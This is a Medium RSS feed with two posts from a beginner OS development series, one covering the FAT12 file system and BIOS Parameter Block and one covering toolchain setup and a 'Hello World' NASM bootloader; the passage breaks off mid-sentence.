<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hack-Bat on Medium]]></title>
        <description><![CDATA[Stories by Hack-Bat on Medium]]></description>
        <link>https://medium.com/@dharineeshj2?source=rss-66404783996f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*0TtgYYHnWr1lnXZXzTZH5g.jpeg</url>
            <title>Stories by Hack-Bat on Medium</title>
            <link>https://medium.com/@dharineeshj2?source=rss-66404783996f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 00:42:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dharineeshj2/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OS Development Series — Part 5: File Systems and Implementing the FAT12 File System for Our…]]></title>
            <link>https://medium.com/@dharineeshj2/os-development-series-part-5-file-systems-and-implementing-the-fat12-file-system-for-our-8e58c025b055?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e58c025b055</guid>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Tue, 30 Jun 2026 14:19:06 GMT</pubDate>
            <atom:updated>2026-06-30T14:19:06.000Z</atom:updated>
            <content:encoded><![CDATA[<h3>OS Development Series — Part 5: File Systems and Implementing the FAT12 File System for Our Operating System</h3><p>In the last part, we set up our development environment and wrote our very first bootloader. In this part, we are going to cover one of the most important topics in operating system development that is <strong>file systems</strong>. By the end of this chapter, we will understand how a file system works and implement the <strong>FAT12</strong> file system for our operating system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*naon1Z673Pc1Uq3sjs_YNw.jpeg" /></figure><h3>What Is the Need for a File System in the First Place?</h3><p>Imagine a large empty warehouse. You start filling it with hundreds of boxes of different sizes, but all the boxes look exactly the same. You simply place one box after another without any labels or organization.</p><p>After a few weeks, someone asks you to retrieve a specific box. How would you find it? Without any information about where each box starts, where it ends, or what it contains, every box simply becomes part of one huge pile. Finding anything would be nearly impossible.</p><p>Now imagine maintaining a table that stores information about every box, such as:</p><ul><li>The name of the box</li><li>Where it starts</li><li>Where it ends</li><li>Its size</li><li>Other useful information</li></ul><p>Suddenly, finding a specific box becomes simple.</p><p><strong>A storage device works in exactly the same way.</strong> Think of the storage device as the empty warehouse, and think of your programs, documents, images, and other files as the boxes. A file system is simply the structure that keeps track of where every file is stored and how it can be found later. Without a file system, the storage device is nothing more than a large collection of raw bytes without any organization. The operating system would have no idea where one file ends and another begins.</p><p>There are many different file systems, just as there are many different ways of organizing data. Some of the well-known file systems include:</p><ul><li>CTSS</li><li>Multics</li><li>FAT</li><li>Ext</li><li>NTFS</li></ul><p>Each of them was designed to solve different problems and suit different types of storage devices.</p><h3>What File System Are We Going to Use?</h3><p>Throughout this OS development series, we are going to use the <strong>FAT</strong> (File Allocation Table) file system.</p><p>The FAT family of file systems was originally designed for floppy disks, making it an excellent choice for learning operating system development. It is simple, well documented, and supported by almost every operating system.</p><p>There are three common variants of FAT:</p><ul><li>FAT12</li><li>FAT16</li><li>FAT32</li></ul><p>For this series, we will be using <strong>FAT12</strong> because it perfectly matches the size and layout of a standard floppy disk.</p><h3>Let’s Learn About Floppy Disks</h3><p>A floppy disk is a magnetic storage device that consists of a thin, flexible plastic disk coated with magnetic material. Information is stored on this magnetic surface, while a <strong>Floppy Disk Drive (FDD)</strong> is responsible for reading and writing data.</p><p>Many people assume that floppy disks and hard disks are basically the same. Although both store information magnetically, they are quite different.</p><p>Hard disks are significantly faster, have much larger storage capacities, and use more advanced hardware. Floppy disks, on the other hand, were designed to be inexpensive and portable, but they are much slower and can store only a small amount of data.</p><p>Data on a floppy disk is organized in the following hierarchy:</p><p><strong>Cylinder → Track → Sector</strong></p><p>Since a floppy disk contains only a single magnetic platter, we don’t need to worry much about cylinders in this series. Instead, we will mainly focus on <strong>tracks</strong> and <strong>sectors</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/0*R5DRJPlSQJBEGN6L.jpeg" /><figcaption>Floppy Disk</figcaption></figure><h4>1. Track</h4><p>A <strong>track</strong> is a circular ring on the surface of the floppy disk. Each track is divided into smaller segments called as sector.</p><h4>2. Sector</h4><p>A <strong>sector</strong> is the smallest physical unit that can be read from or written to on the disk. Each sector stores <strong>512 bytes</strong> of data. Even if you only need to store a few bytes, the hardware still reads or writes an entire sector.</p><p>For this OS development series, we won’t be using a physical floppy disk. Instead, we’ll use a <strong>virtual floppy disk image</strong>, and <strong>QEMU</strong> will emulate all the floppy disk hardware for us. This allows us to experiment with FAT12 without needing any legacy hardware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/0*TR-_OK0wJSr9YUw2" /></figure><h3>Let’s Learn About FAT</h3><p>Almost every file system ever created uses some form of <strong>metadata</strong> to organize, locate, and manage the data stored on a storage device.</p><p>The FAT file system mainly relies on two important data structures:</p><ul><li>File Allocation Table (FAT)</li><li>Root Directory</li></ul><p>A typical FAT12-formatted floppy disk is organized like this:</p><pre>Boot Sector | FAT 1 | FAT 2 | Root Directory | Data Area (Clusters 2 ... n)</pre><p>Let’s understand each part.</p><h4>1. File Allocation Table (FAT)</h4><p>The <strong>File Allocation Table (FAT)</strong> keeps track of how clusters are linked together.</p><p>Suppose a file is larger than a single cluster. The operating system stores the file across multiple clusters. The FAT tells us where the next cluster of that file is located.</p><p>In simple terms, every FAT entry contains:</p><ul><li>The current cluster number</li><li>The next cluster belonging to the same file</li></ul><p>Following these entries one by one allows the operating system to reconstruct the complete file.</p><p>Before understanding the FAT table, let’s first understand what a <strong>cluster</strong> is.</p><p>A cluster is a group of one or more sectors treated as a single allocation unit.</p><p>For example:</p><ul><li>1 sector = 512 bytes</li><li>2 sectors = 1 cluster</li></ul><p>Therefore,</p><pre>Cluster Size = 2 × 512 = 1024 bytes (1 KB)</pre><p>Whenever a file is stored, it occupies one or more complete clusters.</p><h4>2. Root Directory</h4><p>The <strong>Root Directory</strong> stores the metadata for every file and directory present in the root of the disk.</p><p>Each directory entry occupies <strong>32 bytes</strong> and contains information such as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/0*3o2xyO3iEhRFM_UW" /><figcaption>Root Directory Attributes</figcaption></figure><h4>3. Why FAT12, FAT16, or FAT32? Why Not Something Else?</h4><p>The numbers 12, 16, and 32 represent the number of <strong>bits used for each FAT entry</strong>.</p><p>For example:</p><ul><li>FAT12 uses 12-bit entries.</li><li>FAT16 uses 16-bit entries.</li><li>FAT32 uses 32-bit entries.</li></ul><p>Since a FAT12 entry is 12 bits long, it can represent approximately 2<strong>¹² (4096)</strong> cluster values. Likewise, FAT16 and FAT32 support much larger numbers of clusters.</p><p>The larger the storage device becomes, the more clusters it contains, and therefore the larger the FAT needs to be. This is why larger disks use FAT16 or FAT32.</p><p>You might wonder why FAT12 even exists. Why didn’t they simply start with FAT16?</p><p>There are a couple of reasons.</p><p>The first reason is the memory limitations of early computers. In 16-bit real mode, the processor has <strong>20 address lines</strong>, allowing it to access a maximum of:</p><pre>2²⁰ = 1,048,576 bytes = 1 MB</pre><p>Memory was extremely limited.</p><p>Now imagine a floppy disk with 100 clusters.</p><p>Since FAT maintains <strong>two identical copies</strong> of the File Allocation Table for reliability, using FAT16 would require:</p><pre>100 × 16 bits × 2 FAT tables</pre><p>As the number of clusters increases, the FAT itself begins consuming more and more memory. If we reduce the number of cluster by increasing the cluster size we get the second problem that is <strong>internal fragmentation.</strong></p><p>Internal fragmentation occurs when the allocated cluster is much larger than the file being stored. The unused portion of the cluster becomes wasted space.</p><p>Using FAT12 keeps the FAT tables smaller while still supporting enough clusters for floppy disks. It provides a good balance between storage efficiency, memory usage, and fragmentation, which is exactly why it became the standard file system for floppy disks.</p><h3>What are the data used to access the files in a FAT File System environment?</h3><p>In FAT12, one of the most important pieces of data is stored in the <strong>Boot Sector</strong>, specifically in a structure called the <strong>BIOS Parameter Block (BPB)</strong>.</p><p>The BIOS Parameter Block describes the physical and logical layout of the disk. When the operating system mounts a FAT-formatted disk, it first reads the BPB to understand how the file system is organized. Without this data, the operating system would not know essential details such as the sector size, the total number of sectors, how many FAT tables exist, the size of each FAT table, the number of root directory entries, or how many sectors each FAT occupies.</p><p>The following data is used by the bootloader and the operating system to access a storage device formatted with the FAT12 file system.</p><pre>bpb_oem db &quot;MSWIN4.1&quot;           ; OEM identifier<br>bpbBytesPerSector dw 512        ; size of each sector<br>bpbSectorsPerCluster db 1       ; number of sectors per cluster<br>bpbReservedSectors dw 1         ; number of reserved sectors <br>bpbNumberofFATs db 2            ; number of file allocation table<br>bpbRootEntries dw 224           ; number of directories it can held with in the root directory<br>bpbTotalSectors dw 2880         ; number of sectors in the floppy disk <br>bpbMedia db 0xF0                ; Byte that contains information about the disk<br>bpbSectorPerFat dw 9            ; number of sectors per fat<br>bpbSectorsPerTrack dw 18        ; number of sectors per cylinder<br>bpbHeadsPerCylinder dw 2        ; number of heads per cylinder<br>bpbHiddenSectors dd 0           ; number of hidden sectors<br>bpbTotalSectorsBig dd 0         ; large sector count<br><br>bsDriveNumber db 0              ; driver number<br>bsUnused db 0<br>bsExtBootSignature db 0x29      ; boot signature<br>bsSerialNumber dd 0xa0a1a2a3<br>bsVolumeLabel db &quot;MOS FLOPPY &quot;<br>bsFileSystem db &quot;FAT12 &quot;</pre><h4>1. OEM Identifier</h4><pre>bpbOEM db &quot;MSWIN4.1&quot;</pre><p>This is an eight-byte string that identifies the software or operating system that formatted the disk. It is mainly used for identification purposes and is ignored by most operating systems thus it has no real use. It can be any name but must be within 8 bytes.</p><p>Example:</p><pre>MSWIN4.1<br>mkdosfs<br>FreeDOS</pre><h4>2. Bytes Per Sector</h4><pre>bpbBytesPerSector dw 512</pre><p>Specifies the size of a single sector in bytes.</p><p>For a standard floppy disk, every sector is <strong>512 bytes</strong>, which is also the unit used by BIOS disk services (INT 13h). Almost every FAT12 floppy uses this value.</p><h4>3. Sectors Per Cluster</h4><pre>bpbSectorsPerCluster db 1</pre><p>Defines how many sectors make up one cluster.</p><p>Since each sector on a floppy is 512 bytes, a value of <strong>1</strong> means:</p><pre>1 Cluster = 1 Sector = 512 Bytes</pre><p>If this value were <strong>2</strong>, then:</p><pre>1 Cluster = 2 Sectors = 1024 Bytes</pre><p>All file allocation in FAT happens in units of clusters rather than sectors.</p><h4>4. Reserved Sectors</h4><pre>bpbReservedSectors dw 1</pre><p>Specifies how many sectors are reserved before the first File Allocation Table.</p><p>For FAT12 floppy disks, this value is almost always <strong>1</strong>, meaning only the boot sector is reserved.</p><pre>Reserved Area<br>┌─────────────┐<br>│ Boot Sector │<br>└─────────────┘</pre><p>Immediately after the reserved sectors, the first File Allocation Table begins.</p><h4>5. Number of FATs</h4><pre>bpbNumberOfFATs db 2</pre><p>Specifies how many copies of the File Allocation Table are stored on the disk.</p><p>FAT12 stores <strong>two identical FAT tables</strong>.</p><pre>Boot Sector<br>     ↓<br>FAT #1<br>     ↓<br>FAT #2</pre><p>The second FAT acts as a backup. If the primary FAT becomes corrupted because of disk errors or an unexpected power failure, the operating system can use the backup copy to recover the file allocation information.</p><h4>6. Root Directory Entries</h4><pre>bpbRootEntries dw 224</pre><p>Specifies the maximum number of entries that the root directory can contain.</p><p>Each directory entry occupies <strong>32 bytes</strong>, so the total size of the root directory is:</p><pre>224 × 32 = 7168 Bytes</pre><p>Since every sector is 512 bytes:</p><pre>7168 ÷ 512 = 14 Sectors</pre><p>Therefore, the root directory occupies exactly <strong>14 sectors</strong> on a standard FAT12 floppy disk.</p><h4>7. Total Sectors</h4><pre>bpbTotalSectors dw 2880</pre><p>Stores the total number of sectors present on the disk.</p><p>For a standard 1.44 MB floppy:</p><pre>80 Tracks<br>× 2 Heads<br>× 18 Sectors per Track<br>= 2880 Sectors</pre><p>Since every sector is 512 bytes:</p><pre>2880 × 512 = 1,474,560 Bytes<br>≈ 1.44 MB</pre><h4>8. Media Descriptor</h4><pre>bpbMedia db 0xF0</pre><p>This byte identifies the type of storage media.</p><p>For example:</p><ul><li><strong>Value:</strong> :0xF0<strong>Media Type: </strong>3.5-inch floppy disk (1.44 MB)</li><li><strong>Value:</strong> 0xF8 <strong>Media Type:</strong> Fixed disk (hard drive, SSD, USB drive)</li></ul><p>This field was more useful on older systems for distinguishing between different storage devices.</p><h4>9. Sectors Per FAT</h4><pre>bpbSectorsPerFAT dw 9</pre><p>Specifies the size of <strong>one FAT table</strong> measured in sectors.</p><p>Since one FAT occupies <strong>9 sectors</strong>, and there are <strong>two FATs</strong>, the total space occupied is:</p><pre>9 × 2 = 18 Sectors</pre><h4>10. Sectors Per Track</h4><pre>bpbSectorsPerTrack dw 18</pre><p>Defines how many sectors exist on each track of the floppy disk.</p><p>A standard 1.44 MB floppy contains <strong>18 sectors on every track</strong>.</p><p>This value is mainly used by BIOS disk services that use Cylinder-Head-Sector (CHS) addressing.</p><h4>11. Heads Per Cylinder</h4><pre>bpbHeadsPerCylinder dw 2</pre><p>Specifies the number of recording heads in the disk drive.</p><p>Since a floppy disk has two magnetic surfaces, it uses <strong>two heads</strong>:</p><ul><li>Head 0 reads the front side.</li><li>Head 1 reads the back side.</li></ul><h4>12. Hidden Sectors</h4><pre>bpbHiddenSectors dd 0</pre><p>Specifies the number of sectors preceding the partition.</p><p>For floppy disks, this value is always <strong>0</strong> because the file system starts at the very beginning of the disk.</p><p>On hard disks, this field is used to indicate the offset of a partition from the start of the physical disk.</p><h4>13. Large Sector Count</h4><pre>bpbTotalSectorsBig dd 0</pre><p>Used when the disk contains more than <strong>65,535 sectors</strong>, which cannot fit into the 16-bit bpbTotalSectors field.</p><p>Since a floppy disk contains only <strong>2880 sectors</strong>, this field is set to <strong>0</strong>.</p><h4>14. Drive Number</h4><pre>bsDriveNumber db 0</pre><p>Specifies the BIOS drive number.</p><p>Common values are:</p><ul><li>0x00 – Floppy Disk</li><li>0x80 – First Hard Disk</li></ul><h4>15. Reserved Byte</h4><pre>bsUnused db 0</pre><p>This byte is reserved for future use and is typically set to zero.</p><h4>16. Extended Boot Signature</h4><pre>bsExtBootSignature db 0x29</pre><p>Indicates that the following fields (Serial Number, Volume Label, and File System Type) are present and valid.</p><p>For FAT12 and FAT16, the value is usually <strong>0x29</strong>.</p><h4>17. Volume Serial Number</h4><pre>bsSerialNumber dd 0xA0A1A2A3</pre><p>A unique identifier assigned when the disk is formatted.</p><p>Operating systems use this value to distinguish between different storage volumes.</p><h4>18. Volume Label</h4><pre>bsVolumeLabel db &quot;MOS FLOPPY &quot;</pre><p>Stores an 11-character label that identifies the disk.</p><p>Example:</p><pre>MOS FLOPPY<br>BOOT DISK<br>MYOS</pre><p>This is the name shown by operating systems when displaying the volume.</p><h4>19. File System Type</h4><pre>bsFileSystem db &quot;FAT12 &quot;</pre><p>An eight-byte string indicating the file system type.</p><p>Typical values include:</p><pre>FAT12<br>FAT16<br>FAT32</pre><p>This field is intended only as a human-readable identifier. Operating systems do <strong>not</strong> rely on this string to determine the file system type.</p><p>Simply add the BIOS Parameter Block (BPB) to the beginning of the bootloader code, then build and run it just as we did in the previous part, where we created our very first bootloader.</p><p>Below is the bootloader code with the BPB</p><pre>org 0x7c00<br>bits 16<br><br>jmp _start                 <br><br>;; OEM Parameter Block ;;<br><br>bpb_oem db &quot;MSWIN4.1&quot;           ; OEM identifier<br>bpbBytesPerSector dw 512        ; size of each sector<br>bpbSectorsPerCluster db 1       ; number of sectors per cluster<br>bpbReservedSectors dw 1         ; number of reserved sectors <br>bpbNumberofFATs db 2            ; number of file allocation table<br>bpbRootEntries dw 224           ; number of directories it can held with in the root directory<br>bpbTotalSectors dw 2880         ; number of sectors in the floppy disk <br>bpbMedia db 0xF0                ; Byte that contains information about the disk<br>bpbSectorPerFat dw 9            ; number of sectors per fat<br>bpbSectorsPerTrack dw 18        ; number of sectors per cylinder<br>bpbHeadsPerCylinder dw 2        ; number of heads per cylinder<br>bpbHiddenSectors dd 0           ; number of hidden sectors<br>bpbTotalSectorsBig dd 0         ; large sector count<br><br>bsDriveNumber db 0              ; driver number<br>bsUnused db 0<br>bsExtBootSignature db 0x29      ; boot signature<br>bsSerialNumber dd 0xa0a1a2a3<br>bsVolumeLabel db &quot;MOS FLOPPY &quot;<br>bsFileSystem db &quot;FAT12 &quot;<br><br>;; ;;<br><br>_start:<br>    mov si, print_text<br><br>.print_loop:<br>    lodsb               <br>    cmp al, 0<br>    je .halt<br><br>    mov ah, 0x0E              <br>    int 0x10<br><br>    jmp .print_loop<br><br>.halt:<br>    cli<br>    hlt<br><br>print_text db &quot;Hello World&quot;, 0x0D, 0x0A, 0<br>times 510-($-$$) db 0<br>dw 0xAA55</pre><h3>What’s Coming Next?</h3><p>In the next part of this series, we’ll put everything we’ve learned into practice by modifying our bootloader to load the kernel from a FAT12-formatted floppy disk.</p><p>Link for the source code : <a href="https://github.com/dharineeshj/OS_DEV_Series">https://github.com/dharineeshj/OS_DEV_Series</a></p><p>My LinkedIn account: <a href="https://www.linkedin.com/in/dharineesh-j/">https://www.linkedin.com/in/dharineesh-j/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e58c025b055" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS Development Series — Part 4: Setting Up the Development Environment and Writing Our First…]]></title>
            <link>https://medium.com/@dharineeshj2/os-development-series-part-4-setting-up-the-development-environment-and-writing-our-first-6312c1cfc883?source=rss-66404783996f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6312c1cfc883</guid>
            <category><![CDATA[operating-systems]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[assembly-language]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Hack-Bat]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 14:29:24 GMT</pubDate>
            <atom:updated>2026-06-24T14:29:24.248Z</atom:updated>
            <content:encoded><![CDATA[<h3>OS Development Series — Part 4: Setting Up the Development Environment and Writing Our First Bootloader</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*w1Qif1ROIfhS-f18.jpg" /></figure><p>In this part of the OS development series, we are finally jumping straight into the code.</p><p>If you haven’t completed the previous parts of this series, make sure to read and understand them first. The concepts covered earlier are the foundation for the upcoming parts of this series. Without that knowledge, it would be difficult to start the coding.</p><p>This part covers setting up the complete development environment required for OS development, and by the end of this article, we will successfully load our bootloader and print our very first “<strong>Hello World” </strong>from the bootloader.</p><blockquote>No more theory, no more diagrams it’s time to start cooking some machine code.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*48xMd2qsYESsh2qm.gif" /></figure><h3>Tech Stack Needed</h3><p>Before starting to write our operating system code, we need to setup the environment. The required tools are:</p><ul><li>Linux</li><li>QEMU</li><li>NASM</li><li>Open Watcom</li><li>Make</li></ul><blockquote>Every good recipe starts with the right ingredients….</blockquote><h4>1. Linux</h4><p>Operating system development is much easier on Linux because of its low-level tooling and development ecosystem.</p><p>You can use any kind of Linux distribution, but I’ll be using Kali Linux WSL throughout this series. You can use your Linux through WSL, VM, or Dual boot setup.</p><h4>2. QEMU</h4><p>Quick Emulator (QEMU) is an open source machine and user space emulator and virtualizer. It is capable of emulating a complete machine in software without any need for hardware virtualization support. There are three modes in QEMU.</p><ol><li>In <strong>User-mode emulation</strong>, QEMU runs applications compiled for different CPU architectures, making cross-development and debugging easier. Example: running an application on an x86 CPU architecture that was written for an ARM-based CPU architecture.</li><li>In <strong>System emulation</strong>, it emulates an entire computer including CPU, memory, storage, and peripherals allowing us to boot and test complete operating systems, which is the mode we’ll use throughout this series.</li><li>In <strong>Hypervisor mode</strong>, QEMU works alongside virtualization technologies like KVM to provide faster virtual machine execution by combining hardware acceleration with device emulation. An example use case is running virtualized operating systems using hardware virtualization support from the CPU.</li></ol><p>To know more about QEMU check out the link <a href="https://en.wikipedia.org/wiki/QEMU">https://en.wikipedia.org/wiki/QEMU</a></p><p><strong>Step 1 — Install QEMU</strong></p><pre>sudo apt update<br>sudo apt install qemu-system-x86</pre><p><strong>Step 2 — Verify Installation</strong></p><pre>qemu-system-i386 --version</pre><p>If you see the version output, QEMU is installed successfully.</p><h4>3. NASM</h4><p>NASM stands for Netwide Assembler, which is used as an assembler and disassembler for the x86 CPU architecture. It is used to compile 16-bit, 32-bit, and 64-bit assembly code to machine code.</p><p><strong>Step 1 — Install NASM</strong></p><pre>sudo apt install nasm</pre><p><strong>Step 2 — Verify Installation</strong></p><pre>nasm -v</pre><p>If the version appears, NASM is ready.</p><p>To know more about NASM check out the link <a href="https://en.wikipedia.org/wiki/Netwide_Assembler">https://en.wikipedia.org/wiki/Netwide_Assembler</a></p><h4>4. Watcom</h4><p>Modern compilers focus on 32-bit and 64-bit systems, but our operating system starts in 16-bit real mode. That means we need a compiler that compiles 16-bit code. That’s where Open Watcom comes in.</p><blockquote><strong>Intreseting Fact:</strong> In the mid 1990s some of the famous DOS computer games such as Doom, Descent, Duke Nukem 3D, Rise of the Traid, and Tomb Raider were built using Watcom C/C++ compiled using Watcom compiler</blockquote><p><strong>Step 1 — Download Open Watcom installer</strong></p><pre>wget https://github.com/open-watcom/open-watcom-v2/releases/download/Current-build/open-watcom-2_0-c-linux-x86</pre><p><strong>Step 2 — Change the permisson</strong></p><pre>chmod 777 open-watcom-2_0-c-linux-x86</pre><p><strong>Step 3 — Install</strong></p><pre>sudo ./open-watcom-2_0-c-linux-x86</pre><p><strong>Step 4 — Verify Installation</strong></p><pre>ls cd /usr/bin/watcom/</pre><p>If both commands execute successfully, your 16-bit compiler toolchain is ready.</p><p>To know more about openWatcom check out the link <a href="https://en.wikipedia.org/wiki/Watcom_C/C%2B%2B">https://en.wikipedia.org/wiki/Watcom_C/C%2B%2B</a></p><h4>4. Make</h4><p>To run our operating system, we need to execute multiple commands — assembling the source code, copying the generated binary to the floppy image, and finally booting it using QEMU. Remembering and typing all these commands every time quickly becomes tedious. To automate this process, we’ll create a <strong>MakeFile</strong> that contains all the required commands, allowing us to build and run our operating system with a simple make command.</p><p><strong>Step 1- Install Make using apt file manager</strong></p><pre>sudo apt install make</pre><p><strong>Step 2 — Verify the installation</strong></p><pre>make -v</pre><p>If the version appears, Make is ready.</p><blockquote>Everything is now in place.</blockquote><blockquote>The tools are ready.</blockquote><blockquote>The lab is ready.</blockquote><blockquote>Let’s see if the machine knows our name.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*Sr5Z6gUyrnTI_axy.gif" /></figure><h3>Let’s cook the bootloader, shall we? 👨‍🍳</h3><p>Finally, here we are.</p><p>After all the long preparation, understanding the processor architecture, learning the boot flow, and setting up our development environment, we’re finally ready to cook our very first bootloader recipe.</p><p>No operating system.<br>No fancy frameworks.<br>Just us, the processor, and 512 bytes of pure machine code.</p><p>So… let’s begin.</p><p>Before we start mixing the ingredients, make sure all the installations from the previous part are completed successfully. A single missing tool is enough to spoil the entire recipe.</p><h4>1. Creating the File Structure</h4><p>Before writing any code, let’s organize our project. Keeping a clean structure from the beginning will make our lives much easier as the operating system grows.</p><h4>1.1 Creating the src directory</h4><pre>mkdir src<br>mkdir src/bootloader</pre><p>The src directory will contain all of our source code.</p><p>For now, we only have a bootloader directory, but in the coming parts we&#39;ll add the kernel, drivers, libraries, and much more.</p><h4>1.2 Creating the build folder and floppy image</h4><pre>mkdir build<br>touch build/floppy.img</pre><p>The build directory stores all generated files.</p><p>The floppy.img file represents our virtual floppy disk. QEMU will boot from this image exactly as a real computer would boot from a physical floppy disk.</p><h4>1.3 Creating run.sh to execute the QEMU command</h4><p>Create the shell file:</p><pre>touch run.sh</pre><p>Paste the following command into the shell file:</p><pre>qemu-system-i386 -fda build/floppy.img -boot a</pre><h4>1.3.1 Understanding the command</h4><p>qemu-system-i386</p><p>Starts the QEMU emulator with a 32-bit x86 machine.</p><p>-fda build/floppy.img</p><p>Attaches build/floppy.img as the first floppy disk drive (Drive A).</p><p>-boot a</p><p>Tells QEMU to boot from floppy drive <strong>A</strong>.</p><p>When this command executes, QEMU powers on the virtual machine, reads the very first sector from our floppy image, loads it into memory, and transfers execution to it.</p><p>Think of QEMU as our own little laboratory. If something goes wrong, at least we won’t have to buy a new motherboard.</p><h4>1.4 Creating the MakeFile</h4><p>Create the MakeFile:</p><pre>touch makefile</pre><p>Now paste the Make commands into it.</p><p>Don’t worry if it looks a little intimidating. Right now, just think of it as our recipe book — it tells every tool exactly what to do and in what order.</p><pre>BOOT_SRC=src/bootloader/bootloader.asm<br>BOOT_BIN=build/bootloader.bin<br>FLOPPY_IMG=build/floppy.img<br><br>all: floppy boot.bin<br><br>floppy: boot.bin $(FLOPPY_IMG)<br> dd if=/dev/zero of=$(FLOPPY_IMG) bs=512 count=2880<br> mkfs.fat -F 12 -n &quot;NBOS&quot; $(FLOPPY_IMG)<br> dd if=$(BOOT_BIN) of=$(FLOPPY_IMG) conv=notrunc<br><br>boot.bin: $(BOOT_SRC)<br> nasm -f bin $&lt; -o $(BOOT_BIN)</pre><p>Let’s understand what each part is doing.</p><h4>1.4.1 Building the bootloader</h4><pre>boot.bin: $(BOOT_SRC)<br>	nasm -f bin $&lt; -o $(BOOT_BIN)</pre><p>This rule assembles our bootloader.asm source file into a raw binary.</p><ul><li>nasm invokes the Netwide Assembler.</li><li>-f bin tells NASM to generate a flat binary.</li><li>$&lt; represents the source file.</li><li>-o $(BOOT_BIN) specifies the output file.</li></ul><p>The resulting bootloader.bin contains pure machine instructions that the BIOS can execute directly.</p><h4>1.4.2 Preparing the floppy image</h4><pre>floppy: boot.bin $(FLOPPY_IMG)<br>	dd if=/dev/zero of=$(FLOPPY_IMG) bs=512 count=2880<br>	mkfs.fat -F 12 -n &quot;NBOS&quot; $(FLOPPY_IMG)<br>	dd if=$(BOOT_BIN) of=$(FLOPPY_IMG) conv=notrunc</pre><p>This target creates our bootable floppy image.</p><p><strong>Step 1: Create an empty floppy</strong></p><pre>dd if=/dev/zero of=$(FLOPPY_IMG) bs=512 count=2880</pre><p>This creates a blank 1.44 MB floppy image.</p><ul><li>if=/dev/zero → read zero bytes</li><li>of=$(FLOPPY_IMG) → write into our floppy image</li><li>bs=512 → block size of 512 bytes</li><li>count=2880 → total 2880 sectors</li></ul><p><strong>Step 2: Format it as FAT12</strong></p><pre>mkfs.fat -F 12 -n &quot;NBOS&quot; $(FLOPPY_IMG)</pre><p>This formats the floppy image with the FAT12 filesystem and assigns the volume label NBOS.</p><p>Later, our kernel will live inside this filesystem.</p><p><strong>Step 3: Copy the bootloader</strong></p><pre>dd if=$(BOOT_BIN) of=$(FLOPPY_IMG) conv=notrunc</pre><p>Finally, the compiled bootloader is written to the beginning of the floppy image.</p><p>The conv=notrunc option ensures that the rest of the floppy image remains untouched.</p><p>Remember what we learned in the previous parts: when the machine powers on, the BIOS reads the very first sector of the boot device and jumps directly to it.</p><p>This command places our code exactly where the BIOS expects to find it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/193/1*SOzmOKcCl2kx5NYMRIBg2g.png" /></figure><blockquote>The ingredients are ready. The lab is ready. Now let’s see if our first batch comes out just right.</blockquote><h4>2. Writing Our First Bootloader</h4><p>Now our project structure is ready, it’s finally time to write the code.</p><p>Create a file named bootloader.asm inside the src/bootloader directory and paste the following code:</p><pre>org 0x7C00<br>jmp _start<br><br>_start:<br>    mov si, print_text<br><br>.print_loop:<br>    lodsb<br>    cmp al, 0<br>    je .halt<br>    mov ah, 0x0E<br>    int 0x10<br>    jmp .print_loop<br><br>.halt:<br>    cli<br>    hlt<br><br>print_text db &quot;Hello World&quot;, 0x0D, 0x0A, 0<br>times 510-($-$$) db 0<br>dw 0xAA55</pre><p>At first glance, this may look like a bunch of strange instructions. But don’t worry — we’re going to break it down one piece at a time. By the end of this section, you’ll understand exactly how the machine prints its first message.</p><h4>2.1 The Bootloader Entry Point</h4><pre>org 0x7C00</pre><p>Remember <strong>Segment:Offset</strong> addressing format. The value in the instruction specifies offset address. When the BIOS loads a boot sector, it places it at memory address 0x0000:0x7C00 and transfers execution to it.</p><p><strong>Why </strong><strong>0x7C00? Why not some other offset address?</strong></p><blockquote>Note that the org instruction does <strong>not</strong> tell the BIOS where to load the bootloader. Instead, it helps NASM calculate the correct addresses internally while assembling the code.</blockquote><p>The BIOS always loads the boot sector at memory address <strong>0x0000:0x7C00</strong> and transfers execution to it, regardless of the value specified in org. Therefore, we use org 0x7C00 so that NASM generates the correct addresses for labels and data references. If we change the org value, the BIOS will still load the bootloader at <strong>0x0000:0x7C00</strong>, but our code will assume it is located somewhere else, resulting in incorrect behavior and some very confusing bugs.</p><p>The org directive tells NASM to assemble the code as if it will be loaded at that address.</p><p>This doesn’t generate any machine instructions. It simply helps NASM calculate addresses correctly.</p><h4>2.2 Jumping to the Main Code</h4><pre>jmp _start</pre><p>The processor begins executing from the first instruction of the boot sector. Here, we immediately jump to the _start label, which acts as the entry point of our bootloader.</p><h4>2.3 Setting Up the String Pointer</h4><pre>_start:<br>    mov si, print_text</pre><p>The SI 